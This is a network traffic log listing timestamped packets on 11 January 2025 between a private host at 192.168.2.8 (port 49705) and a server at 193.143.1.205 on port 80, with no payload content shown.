Jan 11, 2025 03:43:27.504043102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504264116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.504327059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504357100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504369974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504380941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504395962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504403114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.504403114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.504406929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504431009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504445076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504450083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.504496098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.511246920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.511267900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.511280060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.511306047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.511341095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.511406898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.511418104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.511471987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.524194956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524226904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524285078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524321079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.524338007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524373055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524383068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.524409056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524446011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524480104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524483919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.524514914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524552107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524585009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.524596930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.524596930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526062012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526098967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526133060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526179075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526179075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526185036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526278019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526312113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526326895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526349068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526382923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526449919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526478052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526504040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526554108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526597977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526597977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526607037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526659966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526698112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526735067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526748896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526783943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526844978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.526946068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.526998043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527002096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527034998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527069092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527103901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527127981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527149916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527201891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527257919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527291059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527333021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527390003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527424097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527436018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527479887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527514935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527549982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527579069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527582884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527621031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.527626038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527666092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.527972937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528007984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528060913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528095961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528132915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528139114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528139114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528281927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528357029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528362989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528415918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528450966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528485060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528518915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528527021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528527021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528554916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528589010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528618097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528625011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528660059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528704882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528712988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528748035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528784990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.528784990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.528856039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529242039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529277086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529313087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529365063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529375076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529409885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529444933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529447079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529500961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529536009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529566050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529570103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529581070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529607058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529640913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529675961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529711008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.529716969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.529716969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530234098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530287981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530288935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530325890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530360937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530384064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530395985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530498028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530534983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530569077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530576944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530576944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530606031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530642033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530677080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530714035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530715942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530736923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.530752897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.530981064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531030893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531088114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531122923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531169891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531189919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531223059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531234026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531279087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531331062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531337023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531368971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531403065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531469107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531630039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531646967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531691074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531725883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531740904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531780005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531816006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531816959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.531862020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.531883001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.565807104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.569264889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.592807055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.592847109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.592883110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.592924118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.592989922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593024969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593048096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.593063116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593100071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593153954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593188047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593199015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.593199015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.593223095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593255997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593288898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593298912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.593324900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593358040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.593358994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.593535900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.599984884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.600023031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.600122929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.612932920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.612989902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613025904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613059998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613111973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613111973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613153934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613188982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613224030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613260031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613290071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613297939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613322020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613334894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613425970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613432884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613467932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613502026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613535881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613562107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.613586903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.613622904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.614747047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.614801884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.614809036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.614837885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.614876032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.614911079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.614917040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.614965916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.614996910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615032911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615098953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615257025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615292072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615349054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615367889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615432978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615487099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615504026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615520954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615572929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615601063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615607977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615643978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615677118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615679026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615725040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615757942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615781069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615813971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615849018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615861893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615890026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615890026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.615931988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.615966082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616002083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616034985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616046906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616046906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616072893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616106987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616133928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616146088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616175890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616192102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616287947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616322994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616354942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616358995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616394043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616415977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616430044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616463900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616498947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616533041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616542101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616542101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616570950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616621971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616627932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616657019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616697073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616730928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616739988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616766930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616801023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616830111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616836071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616858006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616871119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616904974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616940975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.616945982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.616998911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617028952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617079020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617114067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617149115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617158890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617186069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617203951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617219925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617258072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617273092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617291927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617325068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617358923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617394924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617403030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617403030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617468119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617499113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617535114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617552042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617569923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617604017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617634058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617638111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617650032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.617675066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617711067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.617727041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.618443012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.622051954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650356054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650392056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650445938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650473118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650480032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650511026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650515079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650551081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650557041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650603056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650654078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650688887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.650695086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.650723934 CET	80	49705	193.143.1.205	192.168.2.8
